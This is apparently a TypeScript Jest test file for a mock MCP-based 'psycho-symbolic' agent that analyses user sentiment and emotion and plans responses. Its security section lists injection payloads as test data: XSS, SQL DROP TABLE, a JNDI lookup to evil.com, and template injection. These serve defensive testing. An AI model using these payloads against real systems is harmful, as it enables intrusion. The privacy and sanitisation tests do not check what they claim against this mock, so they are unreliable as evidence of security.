wifi-densepose/vendor/sublinear-time-solver/validation/mcp_integration_test.ts

709 lines
22 KiB
TypeScript
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

/**
* MCP (Model Context Protocol) Integration Tests
* Tests that the psycho-symbolic reasoner works correctly with MCP tools and real AI agents
*/
import { describe, test, expect, beforeAll, afterAll } from '@jest/globals';
// Mock MCP client for testing
interface MCPToolCall {
name: string;
arguments: Record<string, any>;
}
interface MCPResponse {
content: Array<{
type: string;
text?: string;
data?: any;
}>;
}
class MockMCPClient {
private tools: Map<string, Function> = new Map();
private callHistory: MCPToolCall[] = [];
constructor() {
this.setupMockTools();
}
private setupMockTools() {
// Mock psycho-symbolic reasoner MCP tool
this.tools.set('psycho_symbolic_analyze', async (args: any) => {
const { text, analysis_type } = args;
if (analysis_type === 'sentiment') {
return {
content: [{
type: 'text',
text: JSON.stringify({
sentiment: {
score: text.includes('love') ? 0.8 : text.includes('hate') ? -0.8 : 0.0,
label: text.includes('love') ? 'positive' : text.includes('hate') ? 'negative' : 'neutral',
confidence: 0.85
}
})
}]
};
}
if (analysis_type === 'emotion') {
const emotions = [];
if (text.includes('scared') || text.includes('terrified')) {
emotions.push({ type: 'fear', intensity: 0.9, confidence: 0.95 });
}
if (text.includes('excited') || text.includes('happy')) {
emotions.push({ type: 'joy', intensity: 0.8, confidence: 0.9 });
}
return {
content: [{
type: 'text',
text: JSON.stringify({ emotions })
}]
};
}
if (analysis_type === 'preference') {
const preferences = [];
if (text.includes('prefer')) {
preferences.push({
item: 'extracted_preference',
type: 'preference',
strength: 0.7
});
}
return {
content: [{
type: 'text',
text: JSON.stringify({ preferences })
}]
};
}
return {
content: [{
type: 'text',
text: JSON.stringify({ error: 'Unknown analysis type' })
}]
};
});
// Mock knowledge graph MCP tool
this.tools.set('knowledge_graph_query', async (args: any) => {
const { query, graph_context } = args;
return {
content: [{
type: 'text',
text: JSON.stringify({
results: [
{
subject: 'test_entity',
predicate: 'has_property',
object: 'test_value',
confidence: 0.9
}
],
query_time_ms: 150,
total_facts: 1000
})
}]
};
});
// Mock planning MCP tool
this.tools.set('goap_planner', async (args: any) => {
const { goal, current_state, available_actions } = args;
return {
content: [{
type: 'text',
text: JSON.stringify({
plan: {
success: true,
steps: [
{
action_id: 'mock_action_1',
cost: 2.5,
effects: ['state_change_1']
},
{
action_id: 'mock_action_2',
cost: 1.0,
effects: ['goal_achievement']
}
],
total_cost: 3.5,
estimated_success_rate: 0.85
}
})
}]
};
});
// Mock swarm coordination tool
this.tools.set('swarm_coordinate', async (args: any) => {
const { task, agents, coordination_strategy } = args;
return {
content: [{
type: 'text',
text: JSON.stringify({
coordination: {
task_id: 'task_' + Date.now(),
assigned_agents: agents || ['agent_1', 'agent_2'],
strategy: coordination_strategy || 'parallel',
estimated_completion: '2-3 minutes',
success_probability: 0.92
}
})
}]
};
});
// Mock neural pattern recognition tool
this.tools.set('neural_pattern_recognize', async (args: any) => {
const { input_data, pattern_type } = args;
return {
content: [{
type: 'text',
text: JSON.stringify({
patterns: [
{
type: pattern_type || 'behavioral',
confidence: 0.78,
description: 'Detected recurring decision pattern',
supporting_evidence: ['pattern_indicator_1', 'pattern_indicator_2']
}
],
learning_suggestions: [
'Increase pattern confidence through additional training',
'Expand pattern recognition to similar contexts'
]
})
}]
};
});
}
async callTool(name: string, args: Record<string, any>): Promise<MCPResponse> {
this.callHistory.push({ name, arguments: args });
const tool = this.tools.get(name);
if (!tool) {
throw new Error(`Tool '${name}' not found`);
}
return await tool(args);
}
getCallHistory(): MCPToolCall[] {
return [...this.callHistory];
}
clearHistory(): void {
this.callHistory = [];
}
}
// Test psycho-symbolic reasoner integration with AI agents
class PsychoSymbolicAgent {
constructor(private mcpClient: MockMCPClient) {}
async analyzeUserInput(text: string): Promise<any> {
// Multi-modal analysis using psycho-symbolic reasoning
const [sentimentResult, emotionResult, preferenceResult] = await Promise.all([
this.mcpClient.callTool('psycho_symbolic_analyze', {
text,
analysis_type: 'sentiment'
}),
this.mcpClient.callTool('psycho_symbolic_analyze', {
text,
analysis_type: 'emotion'
}),
this.mcpClient.callTool('psycho_symbolic_analyze', {
text,
analysis_type: 'preference'
})
]);
const sentiment = JSON.parse(sentimentResult.content[0].text!);
const emotions = JSON.parse(emotionResult.content[0].text!);
const preferences = JSON.parse(preferenceResult.content[0].text!);
return {
comprehensive_analysis: {
sentiment: sentiment.sentiment,
emotions: emotions.emotions,
preferences: preferences.preferences,
psychological_profile: this.generatePsychologicalProfile(sentiment, emotions, preferences)
}
};
}
async planResponseStrategy(analysis: any, context: any): Promise<any> {
// Use GOAP planner to determine optimal response strategy
const goal = this.determineOptimalGoal(analysis);
const currentState = this.assessCurrentState(context);
const availableActions = this.getAvailableActions();
const planResult = await this.mcpClient.callTool('goap_planner', {
goal,
current_state: currentState,
available_actions: availableActions
});
const plan = JSON.parse(planResult.content[0].text!);
return plan.plan;
}
async coordinateWithSwarm(task: any): Promise<any> {
// Coordinate with other AI agents for complex tasks
const coordinationResult = await this.mcpClient.callTool('swarm_coordinate', {
task,
agents: ['sentiment_specialist', 'planning_expert', 'knowledge_curator'],
coordination_strategy: 'adaptive'
});
return JSON.parse(coordinationResult.content[0].text!);
}
async recognizePatterns(behaviorData: any): Promise<any> {
// Use neural pattern recognition for learning user behavior
const patternResult = await this.mcpClient.callTool('neural_pattern_recognize', {
input_data: behaviorData,
pattern_type: 'user_behavior'
});
return JSON.parse(patternResult.content[0].text!);
}
private generatePsychologicalProfile(sentiment: any, emotions: any, preferences: any): any {
return {
emotional_state: emotions.emotions?.[0]?.type || 'neutral',
attitude: sentiment.sentiment?.label || 'neutral',
preference_strength: preferences.preferences?.[0]?.strength || 0.5,
psychological_indicators: this.extractPsychologicalIndicators(sentiment, emotions, preferences)
};
}
private extractPsychologicalIndicators(sentiment: any, emotions: any, preferences: any): string[] {
const indicators = [];
if (sentiment.sentiment?.score < -0.5) {
indicators.push('negative_outlook');
}
if (emotions.emotions?.some((e: any) => e.type === 'fear' && e.intensity > 0.7)) {
indicators.push('high_anxiety');
}
if (preferences.preferences?.length > 2) {
indicators.push('strong_preferences');
}
return indicators;
}
private determineOptimalGoal(analysis: any): any {
const emotionalState = analysis.comprehensive_analysis.emotions?.[0]?.type;
const sentimentScore = analysis.comprehensive_analysis.sentiment?.score || 0;
if (sentimentScore < -0.5) {
return {
type: 'improve_sentiment',
target_sentiment: 0.2,
priority: 'high'
};
} else if (emotionalState === 'fear') {
return {
type: 'reduce_anxiety',
target_emotional_state: 'calm',
priority: 'critical'
};
} else {
return {
type: 'maintain_engagement',
target_engagement: 0.8,
priority: 'medium'
};
}
}
private assessCurrentState(context: any): any {
return {
user_engagement: context.engagement_level || 0.5,
conversation_length: context.message_count || 1,
topic_complexity: context.topic_complexity || 'medium',
user_satisfaction: context.satisfaction_score || 0.7
};
}
private getAvailableActions(): any[] {
return [
{
id: 'provide_reassurance',
cost: 1.0,
effects: ['reduce_anxiety', 'improve_sentiment'],
prerequisites: ['high_anxiety_detected']
},
{
id: 'ask_clarifying_question',
cost: 0.5,
effects: ['increase_engagement', 'gather_information'],
prerequisites: []
},
{
id: 'provide_detailed_explanation',
cost: 2.0,
effects: ['increase_understanding', 'satisfy_curiosity'],
prerequisites: ['complex_topic_detected']
},
{
id: 'suggest_alternatives',
cost: 1.5,
effects: ['provide_options', 'empower_choice'],
prerequisites: ['preference_conflict_detected']
}
];
}
}
describe('MCP Integration Tests', () => {
let mcpClient: MockMCPClient;
let psychoAgent: PsychoSymbolicAgent;
beforeAll(() => {
mcpClient = new MockMCPClient();
psychoAgent = new PsychoSymbolicAgent(mcpClient);
});
afterAll(() => {
mcpClient.clearHistory();
});
describe('Basic MCP Tool Integration', () => {
test('should call psycho-symbolic analysis tools correctly', async () => {
const text = "I love this new feature but I'm worried about privacy";
const result = await mcpClient.callTool('psycho_symbolic_analyze', {
text,
analysis_type: 'sentiment'
});
expect(result.content).toBeDefined();
expect(result.content[0].type).toBe('text');
const analysis = JSON.parse(result.content[0].text!);
expect(analysis.sentiment).toBeDefined();
expect(analysis.sentiment.score).toBeGreaterThan(0); // Should detect "love"
expect(analysis.sentiment.confidence).toBeGreaterThan(0.5);
});
test('should handle knowledge graph queries', async () => {
const result = await mcpClient.callTool('knowledge_graph_query', {
query: "find_related_concepts",
graph_context: "user_preferences"
});
const queryResult = JSON.parse(result.content[0].text!);
expect(queryResult.results).toBeDefined();
expect(Array.isArray(queryResult.results)).toBe(true);
expect(queryResult.query_time_ms).toBeGreaterThan(0);
});
test('should execute GOAP planning through MCP', async () => {
const result = await mcpClient.callTool('goap_planner', {
goal: { type: 'improve_user_satisfaction', target: 0.8 },
current_state: { satisfaction: 0.5 },
available_actions: ['clarify', 'explain', 'reassure']
});
const plan = JSON.parse(result.content[0].text!);
expect(plan.plan.success).toBe(true);
expect(plan.plan.steps).toBeDefined();
expect(plan.plan.steps.length).toBeGreaterThan(0);
});
test('should coordinate with swarm agents', async () => {
const result = await mcpClient.callTool('swarm_coordinate', {
task: {
type: 'complex_analysis',
priority: 'high',
requirements: ['sentiment_analysis', 'planning', 'knowledge_retrieval']
},
coordination_strategy: 'hierarchical'
});
const coordination = JSON.parse(result.content[0].text!);
expect(coordination.coordination.task_id).toBeDefined();
expect(coordination.coordination.assigned_agents).toBeDefined();
expect(coordination.coordination.success_probability).toBeGreaterThan(0.5);
});
});
describe('Psycho-Symbolic Agent Integration', () => {
test('should perform comprehensive user input analysis', async () => {
const userInput = "I'm excited about this project but terrified about the deadline";
const analysis = await psychoAgent.analyzeUserInput(userInput);
expect(analysis.comprehensive_analysis).toBeDefined();
expect(analysis.comprehensive_analysis.sentiment).toBeDefined();
expect(analysis.comprehensive_analysis.emotions).toBeDefined();
expect(analysis.comprehensive_analysis.psychological_profile).toBeDefined();
// Should detect both excitement (joy) and fear
const emotions = analysis.comprehensive_analysis.emotions;
expect(emotions.length).toBeGreaterThan(0);
});
test('should plan appropriate response strategies', async () => {
const analysis = {
comprehensive_analysis: {
sentiment: { score: -0.6, label: 'negative' },
emotions: [{ type: 'fear', intensity: 0.8 }],
preferences: [],
psychological_profile: {
emotional_state: 'fear',
psychological_indicators: ['high_anxiety']
}
}
};
const plan = await psychoAgent.planResponseStrategy(analysis, {
engagement_level: 0.3,
message_count: 2
});
expect(plan.success).toBe(true);
expect(plan.steps.length).toBeGreaterThan(0);
expect(plan.total_cost).toBeGreaterThan(0);
});
test('should coordinate complex multi-agent tasks', async () => {
const complexTask = {
type: 'psychological_support',
user_state: 'distressed',
required_capabilities: ['empathy', 'crisis_assessment', 'resource_recommendation']
};
const coordination = await psychoAgent.coordinateWithSwarm(complexTask);
expect(coordination.coordination).toBeDefined();
expect(coordination.coordination.assigned_agents).toBeDefined();
expect(coordination.coordination.strategy).toBeDefined();
});
test('should recognize behavioral patterns', async () => {
const behaviorData = {
user_id: 'test_user',
interaction_history: [
{ timestamp: Date.now() - 86400000, sentiment: -0.3, topic: 'work' },
{ timestamp: Date.now() - 43200000, sentiment: -0.5, topic: 'deadline' },
{ timestamp: Date.now(), sentiment: -0.7, topic: 'stress' }
],
context_factors: ['work_pressure', 'deadline_approaching']
};
const patterns = await psychoAgent.recognizePatterns(behaviorData);
expect(patterns.patterns).toBeDefined();
expect(patterns.patterns.length).toBeGreaterThan(0);
expect(patterns.learning_suggestions).toBeDefined();
});
});
describe('Real-time Agent Coordination', () => {
test('should handle concurrent agent operations', async () => {
const startTime = Date.now();
// Simulate multiple agents working concurrently
const tasks = [
psychoAgent.analyzeUserInput("I need help with my anxiety"),
psychoAgent.analyzeUserInput("This deadline is stressing me out"),
psychoAgent.analyzeUserInput("I'm excited but overwhelmed")
];
const results = await Promise.all(tasks);
const endTime = Date.now();
// All analyses should complete successfully
for (const result of results) {
expect(result.comprehensive_analysis).toBeDefined();
expect(result.comprehensive_analysis.sentiment).toBeDefined();
}
// Should complete within reasonable time
expect(endTime - startTime).toBeLessThan(2000);
});
test('should maintain context across agent interactions', async () => {
mcpClient.clearHistory();
// Sequence of related interactions
await psychoAgent.analyzeUserInput("I'm starting a new project");
await psychoAgent.analyzeUserInput("I'm worried about the complexity");
await psychoAgent.analyzeUserInput("Can you help me break it down?");
const callHistory = mcpClient.getCallHistory();
// Should have made multiple tool calls
expect(callHistory.length).toBeGreaterThan(6); // 3 interactions × 3 analysis types each
// Should show progression of interaction
const analysisTypes = callHistory
.filter(call => call.name === 'psycho_symbolic_analyze')
.map(call => call.arguments.analysis_type);
expect(analysisTypes).toContain('sentiment');
expect(analysisTypes).toContain('emotion');
expect(analysisTypes).toContain('preference');
});
});
describe('Error Handling and Resilience', () => {
test('should handle MCP tool failures gracefully', async () => {
// Test with non-existent tool
await expect(mcpClient.callTool('non_existent_tool', {}))
.rejects.toThrow('Tool \'non_existent_tool\' not found');
// Agent should still be functional after tool failure
const analysis = await psychoAgent.analyzeUserInput("test message");
expect(analysis).toBeDefined();
});
test('should validate tool arguments', async () => {
// Test with missing required arguments
const result = await mcpClient.callTool('psycho_symbolic_analyze', {
// Missing 'text' and 'analysis_type'
});
const response = JSON.parse(result.content[0].text!);
expect(response.error).toBeDefined();
});
test('should handle malformed tool responses', async () => {
// Temporarily modify tool to return malformed JSON
const originalTool = mcpClient['tools'].get('psycho_symbolic_analyze');
mcpClient['tools'].set('psycho_symbolic_analyze', async () => ({
content: [{ type: 'text', text: 'invalid json{' }]
}));
await expect(psychoAgent.analyzeUserInput("test"))
.rejects.toThrow();
// Restore original tool
mcpClient['tools'].set('psycho_symbolic_analyze', originalTool);
});
});
describe('Performance and Scalability', () => {
test('should handle high-frequency tool calls', async () => {
const startTime = Date.now();
const batchSize = 50;
// Make many concurrent tool calls
const promises = Array.from({ length: batchSize }, (_, i) =>
mcpClient.callTool('psycho_symbolic_analyze', {
text: `Test message ${i}`,
analysis_type: 'sentiment'
})
);
const results = await Promise.all(promises);
const endTime = Date.now();
// All calls should succeed
expect(results.length).toBe(batchSize);
for (const result of results) {
expect(result.content).toBeDefined();
}
// Should complete within reasonable time
const avgTimePerCall = (endTime - startTime) / batchSize;
expect(avgTimePerCall).toBeLessThan(100); // Less than 100ms per call
});
test('should maintain performance with complex analysis chains', async () => {
const startTime = Date.now();
// Complex analysis chain
const analysis = await psychoAgent.analyzeUserInput(
"I'm really excited about this new opportunity but I'm also terrified about failing and letting everyone down. I prefer collaborative environments and I need reassurance that I can handle this."
);
const plan = await psychoAgent.planResponseStrategy(analysis, {
engagement_level: 0.4,
message_count: 1,
topic_complexity: 'high',
satisfaction_score: 0.6
});
const coordination = await psychoAgent.coordinateWithSwarm({
type: 'emotional_support',
complexity: 'high',
user_state: analysis.comprehensive_analysis.psychological_profile
});
const endTime = Date.now();
// All operations should complete successfully
expect(analysis.comprehensive_analysis).toBeDefined();
expect(plan.success).toBe(true);
expect(coordination.coordination).toBeDefined();
// Should complete within reasonable time for complex analysis
expect(endTime - startTime).toBeLessThan(3000);
});
});
describe('Security and Privacy', () => {
test('should not expose sensitive information in tool calls', async () => {
const sensitiveText = "My password is 123456 and my SSN is 000-00-0000";
await psychoAgent.analyzeUserInput(sensitiveText);
const callHistory = mcpClient.getCallHistory();
// Check that sensitive information is not stored in call history
for (const call of callHistory) {
const argsString = JSON.stringify(call.arguments);
expect(argsString).not.toContain('123456');
expect(argsString).not.toContain('000-00-0000');
}
});
test('should sanitize malicious input', async () => {
const maliciousInputs = [
"<script>alert('xss')</script>",
"'; DROP TABLE users; --",
"${jndi:ldap://evil.com/a}",
"{{7*7}}"
];
for (const maliciousInput of maliciousInputs) {
// Should not throw or cause security issues
await expect(psychoAgent.analyzeUserInput(maliciousInput))
.resolves.toBeDefined();
}
});
test('should validate tool access permissions', async () => {
// Test that agents can only access authorized tools
const restrictedToolNames = [
'admin_override',
'system_shutdown',
'data_export_all'
];
for (const toolName of restrictedToolNames) {
await expect(mcpClient.callTool(toolName, {}))
.rejects.toThrow();
}
});
});
});
export { MockMCPClient, PsychoSymbolicAgent };